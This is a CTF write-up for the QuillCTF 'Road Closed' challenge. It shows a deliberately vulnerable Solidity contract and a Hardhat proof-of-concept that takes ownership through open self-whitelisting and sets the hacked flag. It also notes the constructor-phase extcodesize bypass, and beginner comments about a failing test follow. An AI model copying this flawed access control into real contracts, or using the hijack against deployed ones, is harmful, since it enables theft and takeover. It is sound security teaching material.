QuillCTF is a game in which you hack Ethereum smart contracts to learn about security. It's meant to be both fun and educational. The game is designed to educate players on identifying and fixing security issues in Ethereum smart contracts. Start solving here!
Objective of CTF:
- Become the owner of the contract.
- Change the value of hacked to
true
.
Target contract:
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.7;
contract RoadClosed {
bool hacked;
address owner;
address pwner;
mapping(address => bool) whitelistedMinters;
function isContract(address addr) public view returns (bool) {
uint size;
assembly {
size := extcodesize(addr)
}
return size > 0;
}
function isOwner() public view returns (bool) {
if (msg.sender == owner) {
return true;
} else return false;
}
constructor() {
owner = msg.sender;
}
function addToWhitelist(address addr) public {
require(!isContract(addr), "Contracts are not allowed");
whitelistedMinters[addr] = true;
}
function changeOwner(address addr) public {
require(whitelistedMinters[addr], "You are not whitelisted");
require(msg.sender == addr, "address must be msg.sender");
require(addr != address(0), "Zero address");
owner = addr;
}
function pwn(address addr) external payable {
require(!isContract(msg.sender), "Contracts are not allowed");
require(msg.sender == addr, "address must be msg.sender");
require(msg.sender == owner, "Must be owner");
hacked = true;
}
function pwn() external payable {
require(msg.sender == pwner);
hacked = true;
}
function isHacked() public view returns (bool) {
return hacked;
}
}
The Attack
We can immediately see that non-contract accounts can whitelist themselves via the addToWhitelist
function. A whitelisted account can become the owner simply by calling the changeOwner
function. Once an account becomes the owner, all that is left to do is call the pwn
function, and the contract will have hacked = true
. In short:
addToWhitelist(yourAddress)
changeOwner(yourAddress)
pwn(yourAddress)
As an extra note, you can do this hack with a contract if you execute everything within the constructor, because extcodesize
of a contract at it's constructor phase will return 0.
Proof of Concept
The Hardhat test code to demonstrate this attack is given below. Contract types are generated via TypeChain.
describe('QuillCTF 1: Road Closed', () => {
let owner: SignerWithAddress;
let attacker: SignerWithAddress;
let contract: RoadClosed;
before(async () => {
[owner, attacker] = await ethers.getSigners();
contract = await ethers.getContractFactory('RoadClosed', owner).then(f => f.deploy());
await contract.deployed();
});
it('should hijack ownership', async () => {
expect(await contract.isOwner()).to.be.true;
// whitelist yourself
await contract.connect(attacker).addToWhitelist(attacker.address);
// change owner
await contract.connect(attacker).changeOwner(attacker.address);
// pwn
await contract.connect(attacker)['pwn(address)'](attacker.address);
});
after(async () => {
// contract should be hacked & you should be the owner
expect(await contract.isHacked()).to.be.true;
expect(await contract.isOwner()).to.be.true;
});
});
Top comments (2)
after(async () => {
// contract should be hacked & you should be the owner
expect(await contract.isHacked()).to.be.true;
expect(await contract.isOwner()).to.be.true;
});
could you please explain this as while doing npx hardhat hat this test gets fail
please help i am a beginer
thank you
Hi, the
after
parts in the test check if your hack was done correctly. If this part fails, that means you hack didn't work.You should also see the
expected vs. actual
result in your console on the line that fails, for exampleisHacker
is probablyfalse
but we expected it to betrue
.